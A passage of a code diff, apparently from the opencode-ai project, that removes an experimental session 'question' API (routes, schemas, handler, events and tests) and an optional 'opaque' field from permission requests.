},
|
||||
"404": {
|
||||
"description": "SessionNotFoundError",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"anyOf": [
|
||||
{
|
||||
"$ref": "#/components/schemas/SessionNotFoundError"
|
||||
},
|
||||
{
|
||||
"$ref": "#/components/schemas/SessionNotFoundError"
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "Retrieve pending question requests owned by a session.",
|
||||
"summary": "List session question requests"
|
||||
}
|
||||
},
|
||||
"/api/session/{sessionID}/question/{requestID}/reply": {
|
||||
"post": {
|
||||
"tags": ["question"],
|
||||
"operationId": "v2.session.question.reply",
|
||||
"parameters": [
|
||||
{
|
||||
"name": "sessionID",
|
||||
"in": "path",
|
||||
"schema": {
|
||||
"type": "string",
|
||||
"allOf": [
|
||||
{
|
||||
"pattern": "^ses"
|
||||
}
|
||||
]
|
||||
},
|
||||
"required": true
|
||||
},
|
||||
{
|
||||
"name": "requestID",
|
||||
"in": "path",
|
||||
"schema": {
|
||||
"type": "string",
|
||||
"allOf": [
|
||||
{
|
||||
"pattern": "^que"
|
||||
}
|
||||
]
|
||||
},
|
||||
"required": true
|
||||
}
|
||||
],
|
||||
"security": [],
|
||||
"responses": {
|
||||
"204": {
|
||||
"description": "<No Content>"
|
||||
},
|
||||
"400": {
|
||||
"description": "InvalidRequestError",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/InvalidRequestError"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"401": {
|
||||
"description": "UnauthorizedError",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/UnauthorizedError"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"404": {
|
||||
"description": "SessionNotFoundError | QuestionNotFoundError",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"anyOf": [
|
||||
{
|
||||
"$ref": "#/components/schemas/QuestionNotFoundError"
|
||||
},
|
||||
{
|
||||
"$ref": "#/components/schemas/SessionNotFoundError"
|
||||
},
|
||||
{
|
||||
"$ref": "#/components/schemas/SessionNotFoundError"
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "Answer a pending question request owned by a session.",
|
||||
"summary": "Reply to pending question request",
|
||||
"requestBody": {
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/Question.Reply"
|
||||
}
|
||||
}
|
||||
},
|
||||
"required": true
|
||||
}
|
||||
}
|
||||
},
|
||||
"/api/session/{sessionID}/question/{requestID}/reject": {
|
||||
"post": {
|
||||
"tags": ["question"],
|
||||
"operationId": "v2.session.question.reject",
|
||||
"parameters": [
|
||||
{
|
||||
"name": "sessionID",
|
||||
"in": "path",
|
||||
"schema": {
|
||||
"type": "string",
|
||||
"allOf": [
|
||||
{
|
||||
"pattern": "^ses"
|
||||
}
|
||||
]
|
||||
},
|
||||
"required": true
|
||||
},
|
||||
{
|
||||
"name": "requestID",
|
||||
"in": "path",
|
||||
"schema": {
|
||||
"type": "string",
|
||||
"allOf": [
|
||||
{
|
||||
"pattern": "^que"
|
||||
}
|
||||
]
|
||||
},
|
||||
"required": true
|
||||
}
|
||||
],
|
||||
"security": [],
|
||||
"responses": {
|
||||
"204": {
|
||||
"description": "<No Content>"
|
||||
},
|
||||
"400": {
|
||||
"description": "InvalidRequestError",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/InvalidRequestError"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"401": {
|
||||
"description": "UnauthorizedError",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/UnauthorizedError"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"404": {
|
||||
"description": "SessionNotFoundError | QuestionNotFoundError",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"anyOf": [
|
||||
{
|
||||
"$ref": "#/components/schemas/QuestionNotFoundError"
|
||||
},
|
||||
{
|
||||
"$ref": "#/components/schemas/SessionNotFoundError"
|
||||
},
|
||||
{
|
||||
"$ref": "#/components/schemas/SessionNotFoundError"
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "Reject a pending question request owned by a session.",
|
||||
"summary": "Reject pending question request"
|
||||
}
|
||||
},
|
||||
"/api/reference": {
|
||||
"get": {
|
||||
"tags": ["reference"],
|
||||
@@ -20232,9 +19876,6 @@
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
"opaque": {
|
||||
"type": "boolean"
|
||||
},
|
||||
"metadata": {
|
||||
"type": "object"
|
||||
},
|
||||
@@ -21013,9 +20654,6 @@
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
"opaque": {
|
||||
"type": "boolean"
|
||||
},
|
||||
"metadata": {
|
||||
"type": "object"
|
||||
},
|
||||
@@ -21729,237 +21367,6 @@
|
||||
"required": ["id", "created", "type", "data"],
|
||||
"additionalProperties": false
|
||||
},
|
||||
"Question.Option": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"label": {
|
||||
"type": "string",
|
||||
"description": "Display text (1-5 words, concise)"
|
||||
},
|
||||
"description": {
|
||||
"type": "string",
|
||||
"description": "Explanation of choice"
|
||||
}
|
||||
},
|
||||
"required": ["label", "description"],
|
||||
"additionalProperties": false
|
||||
},
|
||||
"Question.Info": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"question": {
|
||||
"type": "string",
|
||||
"description": "Complete question"
|
||||
},
|
||||
"header": {
|
||||
"type": "string",
|
||||
"description": "Very short label (max 30 chars)"
|
||||
},
|
||||
"options": {
|
||||
"type": "array",
|
||||
"items": {
|
||||
"$ref": "#/components/schemas/Question.Option"
|
||||
},
|
||||
"description": "Available choices"
|
||||
},
|
||||
"multiple": {
|
||||
"type": "boolean"
|
||||
},
|
||||
"custom": {
|
||||
"type": "boolean"
|
||||
}
|
||||
},
|
||||
"required": ["question", "header", "options"],
|
||||
"additionalProperties": false
|
||||
},
|
||||
"Question.Tool": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"messageID": {
|
||||
"type": "string"
|
||||
},
|
||||
"id": {
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
"required": ["messageID", "id"],
|
||||
"additionalProperties": false
|
||||
},
|
||||
"question.asked": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"id": {
|
||||
"type": "string",
|
||||
"allOf": [
|
||||
{
|
||||
"pattern": "^evt_"
|
||||
}
|
||||
]
|
||||
},
|
||||
"created": {
|
||||
"type": "number"
|
||||
},
|
||||
"metadata": {
|
||||
"type": "object"
|
||||
},
|
||||
"type": {
|
||||
"type": "string",
|
||||
"enum": ["question.asked"]
|
||||
},
|
||||
"location": {
|
||||
"$ref": "#/components/schemas/Location.Ref"
|
||||
},
|
||||
"data": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"id": {
|
||||
"type": "string",
|
||||
"allOf": [
|
||||
{
|
||||
"pattern": "^que"
|
||||
}
|
||||
]
|
||||
},
|
||||
"sessionID": {
|
||||
"type": "string",
|
||||
"allOf": [
|
||||
{
|
||||
"pattern": "^ses"
|
||||
}
|
||||
]
|
||||
},
|
||||
"questions": {
|
||||
"type": "array",
|
||||
"items": {
|
||||
"$ref": "#/components/schemas/Question.Info"
|
||||
},
|
||||
"description": "Questions to ask"
|
||||
},
|
||||
"tool": {
|
||||
"$ref": "#/components/schemas/Question.Tool"
|
||||
}
|
||||
},
|
||||
"required": ["id", "sessionID", "questions"],
|
||||
"additionalProperties": false
|
||||
}
|
||||
},
|
||||
"required": ["id", "created", "type", "data"],
|
||||
"additionalProperties": false
|
||||
},
|
||||
"Question.Answer": {
|
||||
"type": "array",
|
||||
"items": {
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
"question.replied": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"id": {
|
||||
"type": "string",
|
||||
"allOf": [
|
||||
{
|
||||
"pattern": "^evt_"
|
||||
}
|
||||
]
|
||||
},
|
||||
"created": {
|
||||
"type": "number"
|
||||
},
|
||||
"metadata": {
|
||||
"type": "object"
|
||||
},
|
||||
"type": {
|
||||
"type": "string",
|
||||
"enum": ["question.replied"]
|
||||
},
|
||||
"location": {
|
||||
"$ref": "#/components/schemas/Location.Ref"
|
||||
},
|
||||
"data": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"sessionID": {
|
||||
"type": "string",
|
||||
"allOf": [
|
||||
{
|
||||
"pattern": "^ses"
|
||||
}
|
||||
]
|
||||
},
|
||||
"requestID": {
|
||||
"type": "string",
|
||||
"allOf": [
|
||||
{
|
||||
"pattern": "^que"
|
||||
}
|
||||
]
|
||||
},
|
||||
"answers": {
|
||||
"type": "array",
|
||||
"items": {
|
||||
"$ref": "#/components/schemas/Question.Answer"
|
||||
}
|
||||
}
|
||||
},
|
||||
"required": ["sessionID", "requestID", "answers"],
|
||||
"additionalProperties": false
|
||||
}
|
||||
},
|
||||
"required": ["id", "created", "type", "data"],
|
||||
"additionalProperties": false
|
||||
},
|
||||
"question.rejected": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"id": {
|
||||
"type": "string",
|
||||
"allOf": [
|
||||
{
|
||||
"pattern": "^evt_"
|
||||
}
|
||||
]
|
||||
},
|
||||
"created": {
|
||||
"type": "number"
|
||||
},
|
||||
"metadata": {
|
||||
"type": "object"
|
||||
},
|
||||
"type": {
|
||||
"type": "string",
|
||||
"enum": ["question.rejected"]
|
||||
},
|
||||
"location": {
|
||||
"$ref": "#/components/schemas/Location.Ref"
|
||||
},
|
||||
"data": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"sessionID": {
|
||||
"type": "string",
|
||||
"allOf": [
|
||||
{
|
||||
"pattern": "^ses"
|
||||
}
|
||||
]
|
||||
},
|
||||
"requestID": {
|
||||
"type": "string",
|
||||
"allOf": [
|
||||
{
|
||||
"pattern": "^que"
|
||||
}
|
||||
]
|
||||
}
|
||||
},
|
||||
"required": ["sessionID", "requestID"],
|
||||
"additionalProperties": false
|
||||
}
|
||||
},
|
||||
"required": ["id", "created", "type", "data"],
|
||||
"additionalProperties": false
|
||||
},
|
||||
"Form.Metadata1": {
|
||||
"type": "object"
|
||||
},
|
||||
@@ -23430,15 +22837,6 @@
|
||||
{
|
||||
"$ref": "#/components/schemas/shell.deleted"
|
||||
},
|
||||
{
|
||||
"$ref": "#/components/schemas/question.asked"
|
||||
},
|
||||
{
|
||||
"$ref": "#/components/schemas/question.replied"
|
||||
},
|
||||
{
|
||||
"$ref": "#/components/schemas/question.rejected"
|
||||
},
|
||||
{
|
||||
"$ref": "#/components/schemas/form.created"
|
||||
},
|
||||
@@ -23620,70 +23018,6 @@
|
||||
"required": ["_tag", "id", "message"],
|
||||
"additionalProperties": false
|
||||
},
|
||||
"Question.Request": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"id": {
|
||||
"type": "string",
|
||||
"allOf": [
|
||||
{
|
||||
"pattern": "^que"
|
||||
}
|
||||
]
|
||||
},
|
||||
"sessionID": {
|
||||
"type": "string",
|
||||
"allOf": [
|
||||
{
|
||||
"pattern": "^ses"
|
||||
}
|
||||
]
|
||||
},
|
||||
"questions": {
|
||||
"type": "array",
|
||||
"items": {
|
||||
"$ref": "#/components/schemas/Question.Info"
|
||||
},
|
||||
"description": "Questions to ask"
|
||||
},
|
||||
"tool": {
|
||||
"$ref": "#/components/schemas/Question.Tool"
|
||||
}
|
||||
},
|
||||
"required": ["id", "sessionID", "questions"],
|
||||
"additionalProperties": false
|
||||
},
|
||||
"Question.Reply": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"answers": {
|
||||
"type": "array",
|
||||
"items": {
|
||||
"$ref": "#/components/schemas/Question.Answer"
|
||||
},
|
||||
"description": "User answers in order of questions (each answer is an array of selected labels)"
|
||||
}
|
||||
},
|
||||
"required": ["answers"],
|
||||
"additionalProperties": false
|
||||
},
|
||||
"QuestionNotFoundError": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"_tag": {
|
||||
"type": "string",
|
||||
"enum": ["QuestionNotFoundError"]
|
||||
},
|
||||
"requestID": {
|
||||
"type": "string"
|
||||
},
|
||||
"message": {
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
"required": ["_tag", "requestID", "message"],
|
||||
"additionalProperties": false
|
||||
},
|
||||
"Reference.LocalSource": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
@@ -24957,10 +24291,6 @@
|
||||
"name": "shell",
|
||||
"description": "Experimental location-scoped shell command routes."
|
||||
},
|
||||
{
|
||||
"name": "question",
|
||||
"description": "Experimental session question routes."
|
||||
},
|
||||
{
|
||||
"name": "reference",
|
||||
"description": "Location-scoped project references."
|
||||
|
||||
@@ -20,7 +20,6 @@ import { ServerGroup } from "./groups/server.js"
|
||||
import { DebugGroup } from "./groups/debug.js"
|
||||
import { PtyGroup } from "./groups/pty.js"
|
||||
import { ShellGroup } from "./groups/shell.js"
|
||||
import { makeQuestionGroup } from "./groups/question.js"
|
||||
import { ReferenceGroup } from "./groups/reference.js"
|
||||
import { Authorization } from "./middleware/authorization.js"
|
||||
import { LocationGroup } from "./groups/location.js"
|
||||
@@ -71,9 +70,7 @@ type MixedMiddlewareGroups<
|
||||
LocationService,
|
||||
SessionLocationId extends HttpApiMiddleware.AnyId,
|
||||
SessionLocationService,
|
||||
> =
|
||||
| ReturnType<typeof makePermissionGroup<LocationId, LocationService, SessionLocationId, SessionLocationService>>
|
||||
| ReturnType<typeof makeQuestionGroup<LocationId, LocationService, SessionLocationId, SessionLocationService>>
|
||||
> = ReturnType<typeof makePermissionGroup<LocationId, LocationService, SessionLocationId, SessionLocationService>>
|
||||
|
||||
type ApiGroups<
|
||||
LocationId extends HttpApiMiddleware.AnyId,
|
||||
@@ -170,7 +167,6 @@ const makeApiFromGroup = <
|
||||
.add(eventGroup)
|
||||
.add(PtyGroup.middleware(locationMiddleware))
|
||||
.add(ShellGroup.middleware(locationMiddleware))
|
||||
.add(makeQuestionGroup(locationMiddleware, sessionLocationMiddleware))
|
||||
.add(ReferenceGroup.middleware(locationMiddleware))
|
||||
.add(WorktreeGroup)
|
||||
.add(VcsGroup.middleware(locationMiddleware))
|
||||
|
||||
@@ -57,7 +57,6 @@ export const groupNames = {
|
||||
"server.pty": "pty",
|
||||
"server.shell": "shell",
|
||||
"server.mcp": "mcp",
|
||||
"server.question": "question",
|
||||
"server.reference": "reference",
|
||||
"server.project": "project",
|
||||
"server.worktree": "worktree",
|
||||
|
||||
@@ -141,15 +141,6 @@ export class PermissionNotFoundError extends Schema.TaggedErrorClass<PermissionN
|
||||
{ httpApiStatus: 404 },
|
||||
) {}
|
||||
|
||||
export class QuestionNotFoundError extends Schema.TaggedErrorClass<QuestionNotFoundError>()(
|
||||
"QuestionNotFoundError",
|
||||
{
|
||||
requestID: Schema.String,
|
||||
message: Schema.String,
|
||||
},
|
||||
{ httpApiStatus: 404 },
|
||||
) {}
|
||||
|
||||
export class FormNotFoundError extends Schema.TaggedErrorClass<FormNotFoundError>()(
|
||||
"FormNotFoundError",
|
||||
{
|
||||
|
||||
@@ -4,7 +4,7 @@ import { Permission } from "@opencode-ai/schema/permission"
|
||||
import { PermissionSaved } from "@opencode-ai/schema/permission-saved"
|
||||
import { Project } from "@opencode-ai/schema/project"
|
||||
import { Session } from "@opencode-ai/schema/session"
|
||||
import { Context, Schema, Struct } from "effect"
|
||||
import { Context, Schema } from "effect"
|
||||
import { HttpApiEndpoint, HttpApiGroup, HttpApiMiddleware, HttpApiSchema, OpenApi } from "effect/unstable/httpapi"
|
||||
import { PermissionNotFoundError, SessionNotFoundError } from "../errors.js"
|
||||
import { LocationQuery, locationQueryOpenApi } from "./location.js"
|
||||
@@ -64,7 +64,11 @@ export const makePermissionGroup = <
|
||||
params: { sessionID: Session.ID },
|
||||
payload: Schema.Struct({
|
||||
id: Permission.ID.pipe(Schema.optional),
|
||||
...Struct.omit(Permission.Request.fields, ["id", "sessionID"]),
|
||||
action: Permission.Request.fields.action,
|
||||
resources: Permission.Request.fields.resources,
|
||||
save: Permission.Request.fields.save,
|
||||
metadata: Permission.Request.fields.metadata,
|
||||
source: Permission.Request.fields.source,
|
||||
agent: Agent.ID.pipe(Schema.optional),
|
||||
}),
|
||||
success: Schema.Struct({
|
||||
|
||||
@@ -1,82 +0,0 @@
|
||||
import { Question } from "@opencode-ai/schema/question"
|
||||
import { Location } from "@opencode-ai/schema/location"
|
||||
import { Session } from "@opencode-ai/schema/session"
|
||||
import { Context, Schema } from "effect"
|
||||
import { HttpApiEndpoint, HttpApiGroup, HttpApiMiddleware, HttpApiSchema, OpenApi } from "effect/unstable/httpapi"
|
||||
import { QuestionNotFoundError, SessionNotFoundError } from "../errors.js"
|
||||
import { LocationQuery, locationQueryOpenApi } from "./location.js"
|
||||
|
||||
export const makeQuestionGroup = <
|
||||
LocationId extends HttpApiMiddleware.AnyId,
|
||||
LocationService,
|
||||
SessionLocationId extends HttpApiMiddleware.AnyId,
|
||||
SessionLocationService,
|
||||
>(
|
||||
locationMiddleware: Context.Key<LocationId, LocationService>,
|
||||
sessionLocationMiddleware: Context.Key<SessionLocationId, SessionLocationService>,
|
||||
) =>
|
||||
HttpApiGroup.make("server.question")
|
||||
.add(
|
||||
HttpApiEndpoint.get("question.request.list", "/api/question/request", {
|
||||
query: LocationQuery,
|
||||
success: Location.response(Schema.Array(Question.Request)),
|
||||
})
|
||||
.annotateMerge(locationQueryOpenApi)
|
||||
.annotateMerge(
|
||||
OpenApi.annotations({
|
||||
identifier: "v2.question.request.list",
|
||||
summary: "List pending question requests",
|
||||
description: "Retrieve pending question requests for a location.",
|
||||
}),
|
||||
),
|
||||
)
|
||||
.annotateMerge(OpenApi.annotations({ title: "question", description: "Experimental question routes." }))
|
||||
// Effect applies group middleware only to endpoints already added; session endpoints use session placement below.
|
||||
.middleware(locationMiddleware)
|
||||
.add(
|
||||
HttpApiEndpoint.get("session.question.list", "/api/session/:sessionID/question", {
|
||||
params: { sessionID: Session.ID },
|
||||
success: Schema.Struct({ data: Schema.Array(Question.Request) }),
|
||||
error: SessionNotFoundError,
|
||||
})
|
||||
.middleware(sessionLocationMiddleware)
|
||||
.annotateMerge(
|
||||
OpenApi.annotations({
|
||||
identifier: "v2.session.question.list",
|
||||
summary: "List session question requests",
|
||||
description: "Retrieve pending question requests owned by a session.",
|
||||
}),
|
||||
),
|
||||
)
|
||||
.add(
|
||||
HttpApiEndpoint.post("session.question.reply", "/api/session/:sessionID/question/:requestID/reply", {
|
||||
params: { sessionID: Session.ID, requestID: Question.ID },
|
||||
payload: Question.Reply,
|
||||
success: HttpApiSchema.NoContent,
|
||||
error: [SessionNotFoundError, QuestionNotFoundError],
|
||||
})
|
||||
.middleware(sessionLocationMiddleware)
|
||||
.annotateMerge(
|
||||
OpenApi.annotations({
|
||||
identifier: "v2.session.question.reply",
|
||||
summary: "Reply to pending question request",
|
||||
description: "Answer a pending question request owned by a session.",
|
||||
}),
|
||||
),
|
||||
)
|
||||
.add(
|
||||
HttpApiEndpoint.post("session.question.reject", "/api/session/:sessionID/question/:requestID/reject", {
|
||||
params: { sessionID: Session.ID, requestID: Question.ID },
|
||||
success: HttpApiSchema.NoContent,
|
||||
error: [SessionNotFoundError, QuestionNotFoundError],
|
||||
})
|
||||
.middleware(sessionLocationMiddleware)
|
||||
.annotateMerge(
|
||||
OpenApi.annotations({
|
||||
identifier: "v2.session.question.reject",
|
||||
summary: "Reject pending question request",
|
||||
description: "Reject a pending question request owned by a session.",
|
||||
}),
|
||||
),
|
||||
)
|
||||
.annotateMerge(OpenApi.annotations({ title: "question", description: "Experimental session question routes." }))
|
||||
@@ -21,7 +21,6 @@ import { Plugin } from "./plugin.js"
|
||||
import { Project } from "./project.js"
|
||||
import { Worktree } from "./worktree.js"
|
||||
import { Pty } from "./pty.js"
|
||||
import { Question } from "./question.js"
|
||||
import { Reference } from "./reference.js"
|
||||
import { ServerEvent } from "./server-event.js"
|
||||
import { Shell } from "./shell.js"
|
||||
@@ -56,7 +55,6 @@ const featureDefinitions = Event.inventory(
|
||||
...Skill.Event.Definitions,
|
||||
...Pty.Event.Definitions,
|
||||
...Shell.Event.Definitions,
|
||||
...Question.Event.Definitions,
|
||||
...Form.Event.Definitions,
|
||||
...WebSearch.Event.Definitions,
|
||||
)
|
||||
|
||||
@@ -27,7 +27,6 @@ const RequestFields = {
|
||||
action: Schema.String,
|
||||
resources: Schema.Array(Schema.String),
|
||||
save: Schema.Array(Schema.String).pipe(optional),
|
||||
opaque: Schema.Boolean.pipe(optional),
|
||||
metadata: Schema.Record(Schema.String, Schema.Unknown).pipe(optional),
|
||||
source: Source.pipe(optional),
|
||||
}
|
||||
|
||||
@@ -2,28 +2,11 @@ export * as Question from "./question.js"
|
||||
|
||||
import { Schema } from "effect"
|
||||
import { optional } from "./schema.js"
|
||||
import { ephemeral, inventory } from "./event.js"
|
||||
import { ascending } from "./identifier.js"
|
||||
import { SessionID } from "./session-id.js"
|
||||
import { statics } from "./schema.js"
|
||||
|
||||
export const ID = Schema.String.check(Schema.isStartsWith("que")).pipe(
|
||||
Schema.brand("Question.ID"),
|
||||
statics((schema) => {
|
||||
const create = () => schema.make("que_" + ascending())
|
||||
return {
|
||||
create,
|
||||
ascending: (id?: string) => (id === undefined ? create() : schema.make(id)),
|
||||
}
|
||||
}),
|
||||
)
|
||||
export type ID = typeof ID.Type
|
||||
|
||||
export const Option = Schema.Struct({
|
||||
const Option = Schema.Struct({
|
||||
label: Schema.String.annotate({ description: "Display text (1-5 words, concise)" }),
|
||||
description: Schema.String.annotate({ description: "Explanation of choice" }),
|
||||
}).annotate({ identifier: "Question.Option" })
|
||||
export interface Option extends Schema.Schema.Type<typeof Option> {}
|
||||
})
|
||||
|
||||
const base = {
|
||||
question: Schema.String.annotate({ description: "Complete question" }),
|
||||
@@ -32,55 +15,8 @@ const base = {
|
||||
multiple: Schema.Boolean.pipe(optional).annotate({ description: "Allow selecting multiple choices" }),
|
||||
}
|
||||
|
||||
export const Info = Schema.Struct({
|
||||
...base,
|
||||
custom: Schema.Boolean.pipe(optional).annotate({
|
||||
description: "Allow typing a custom answer (default: true)",
|
||||
}),
|
||||
}).annotate({ identifier: "Question.Info" })
|
||||
export interface Info extends Schema.Schema.Type<typeof Info> {}
|
||||
|
||||
export const Prompt = Schema.Struct(base).annotate({ identifier: "Question.Prompt" })
|
||||
export interface Prompt extends Schema.Schema.Type<typeof Prompt> {}
|
||||
|
||||
export const Tool = Schema.Struct({
|
||||
messageID: Schema.String,
|
||||
id: Schema.String,
|
||||
}).annotate({ identifier: "Question.Tool" })
|
||||
export interface Tool extends Schema.Schema.Type<typeof Tool> {}
|
||||
|
||||
export const Request = Schema.Struct({
|
||||
id: ID,
|
||||
sessionID: SessionID,
|
||||
questions: Schema.Array(Info).annotate({ description: "Questions to ask" }),
|
||||
tool: Tool.pipe(optional),
|
||||
}).annotate({ identifier: "Question.Request" })
|
||||
export interface Request extends Schema.Schema.Type<typeof Request> {}
|
||||
|
||||
export const Answer = Schema.Array(Schema.String).annotate({ identifier: "Question.Answer" })
|
||||
export type Answer = typeof Answer.Type
|
||||
|
||||
export const Reply = Schema.Struct({
|
||||
answers: Schema.Array(Answer).annotate({
|
||||
description: "User answers in order of questions (each answer is an array of selected labels)",
|
||||
}),
|
||||
}).annotate({ identifier: "Question.Reply" })
|
||||
export interface Reply extends Schema.Schema.Type<typeof Reply> {}
|
||||
|
||||
const Asked = ephemeral({ type: "question.asked", schema: Request.fields })
|
||||
const Replied = ephemeral({
|
||||
type: "question.replied",
|
||||
schema: {
|
||||
sessionID: SessionID,
|
||||
requestID: ID,
|
||||
answers: Schema.Array(Answer),
|
||||
},
|
||||
})
|
||||
const Rejected = ephemeral({
|
||||
type: "question.rejected",
|
||||
schema: {
|
||||
sessionID: SessionID,
|
||||
requestID: ID,
|
||||
},
|
||||
})
|
||||
export const Event = { Asked, Replied, Rejected, Definitions: inventory(Asked, Replied, Rejected) }
|
||||
|
||||
@@ -8,7 +8,6 @@ import { Model } from "../src/model.js"
|
||||
import { Project } from "../src/project.js"
|
||||
import { Provider } from "../src/provider.js"
|
||||
import { Pty } from "../src/pty.js"
|
||||
import { Question } from "../src/question.js"
|
||||
import { Session } from "../src/session.js"
|
||||
import { SessionMessage } from "../src/session-message.js"
|
||||
import { SessionInbox } from "../src/session-inbox.js"
|
||||
@@ -132,7 +131,7 @@ describe("contract hygiene", () => {
|
||||
})
|
||||
|
||||
test("current ID constructors expose create", () => {
|
||||
expect(Question.ID.create()).toStartWith("que_")
|
||||
expect(Form.ID.create()).toStartWith("frm_")
|
||||
expect(Pty.ID.create()).toStartWith("pty_")
|
||||
})
|
||||
|
||||
|
||||
@@ -41,6 +41,9 @@ describe("public event manifest", () => {
|
||||
expect(EventManifest.Server.get("session.created")).toBe(SessionEvent.Created)
|
||||
expect(EventManifest.Server.get("session.deleted")).toBe(SessionEvent.Deleted)
|
||||
expect(EventManifest.Server.has("mcp.tools.changed")).toBe(false)
|
||||
expect(EventManifest.Server.has("question.asked")).toBe(false)
|
||||
expect(EventManifest.Server.has("question.replied")).toBe(false)
|
||||
expect(EventManifest.Server.has("question.rejected")).toBe(false)
|
||||
expect(Agent.Event.Updated.durable).toBeUndefined()
|
||||
expect(EventManifest.Durable.has("agent.updated")).toBe(false)
|
||||
})
|
||||
|
||||
@@ -17,7 +17,6 @@ import { ServerHandler } from "./handlers/server"
|
||||
import { DebugHandler } from "./handlers/debug"
|
||||
import { PtyHandler } from "./handlers/pty"
|
||||
import { ShellHandler } from "./handlers/shell"
|
||||
import { QuestionHandler } from "./handlers/question"
|
||||
import { ReferenceHandler } from "./handlers/reference"
|
||||
import { LocationHandler } from "./handlers/location"
|
||||
import { IntegrationHandler } from "./handlers/integration"
|
||||
@@ -57,7 +56,6 @@ export const handlers = Layer.mergeAll(
|
||||
EventHandler.pipe(Layer.provide(EventFeed.layer)),
|
||||
PtyHandler,
|
||||
ShellHandler,
|
||||
QuestionHandler,
|
||||
ReferenceHandler,
|
||||
WorktreeHandler,
|
||||
VcsHandler,
|
||||
|
||||
@@ -33,7 +33,6 @@ export const PermissionHandler = HttpApiBuilder.group(Api, "server.permission",
|
||||
action: ctx.payload.action,
|
||||
resources: ctx.payload.resources,
|
||||
save: ctx.payload.save,
|
||||
opaque: ctx.payload.opaque,
|
||||
metadata: ctx.payload.metadata,
|
||||
source: ctx.payload.source,
|
||||
agent: ctx.payload.agent,
|
||||
|
||||
@@ -1,64 +0,0 @@
|
||||
import { Question } from "@opencode-ai/core/question"
|
||||
import { Effect } from "effect"
|
||||
import { HttpApiBuilder, HttpApiSchema } from "effect/unstable/httpapi"
|
||||
import { Api } from "../api"
|
||||
import { QuestionNotFoundError } from "@opencode-ai/protocol/errors"
|
||||
import { response } from "../location"
|
||||
|
||||
function missingRequest(id: Question.ID) {
|
||||
return new QuestionNotFoundError({ requestID: id, message: `Question request not found: ${id}` })
|
||||
}
|
||||
|
||||
export const QuestionHandler = HttpApiBuilder.group(Api, "server.question", (handlers) =>
|
||||
Effect.gen(function* () {
|
||||
const withOwnedQuestion = Effect.fnUntraced(function* <A, E>(
|
||||
sessionID: Question.Request["sessionID"],
|
||||
requestID: Question.ID,
|
||||
use: (question: Question.Interface) => Effect.Effect<A, E>,
|
||||
) {
|
||||
const question = yield* Question.Service
|
||||
const request = (yield* question.list()).find((request) => request.id === requestID)
|
||||
if (!request || request.sessionID !== sessionID) return yield* missingRequest(requestID)
|
||||
return yield* use(question)
|
||||
})
|
||||
|
||||
return handlers
|
||||
.handle(
|
||||
"question.request.list",
|
||||
Effect.fn(function* () {
|
||||
const question = yield* Question.Service
|
||||
return yield* response(question.list())
|
||||
}),
|
||||
)
|
||||
.handle(
|
||||
"session.question.list",
|
||||
Effect.fn(function* (ctx) {
|
||||
const question = yield* Question.Service
|
||||
const requests = yield* question.list()
|
||||
return { data: requests.filter((request) => request.sessionID === ctx.params.sessionID) }
|
||||
}),
|
||||
)
|
||||
.handle(
|
||||
"session.question.reply",
|
||||
Effect.fn(function* (ctx) {
|
||||
yield* withOwnedQuestion(ctx.params.sessionID, ctx.params.requestID, (question) =>
|
||||
question
|
||||
.reply({ requestID: ctx.params.requestID, answers: ctx.payload.answers })
|
||||
.pipe(Effect.catchTag("Question.NotFoundError", () => missingRequest(ctx.params.requestID))),
|
||||
)
|
||||
return HttpApiSchema.NoContent.make()
|
||||
}),
|
||||
)
|
||||
.handle(
|
||||
"session.question.reject",
|
||||
Effect.fn(function* (ctx) {
|
||||
yield* withOwnedQuestion(ctx.params.sessionID, ctx.params.requestID, (question) =>
|
||||
question
|
||||
.reject(ctx.params.requestID)
|
||||
.pipe(Effect.catchTag("Question.NotFoundError", () => missingRequest(ctx.params.requestID))),
|
||||
)
|
||||
return HttpApiSchema.NoContent.make()
|
||||
}),
|
||||
)
|
||||
}),
|
||||
)
|
||||
@@ -5,11 +5,11 @@ describe("inlineCodeKind", () => {
|
||||
test("leaves code expressions as normal inline code", () => {
|
||||
expect(
|
||||
inlineCodeKind(
|
||||
`case "question.asked": ... input.setStore("question", question.sessionID, [question]) / splice/insert`,
|
||||
`case "form.created": ... input.setStore("form", form.sessionID, [form]) / splice/insert`,
|
||||
),
|
||||
).toBeUndefined()
|
||||
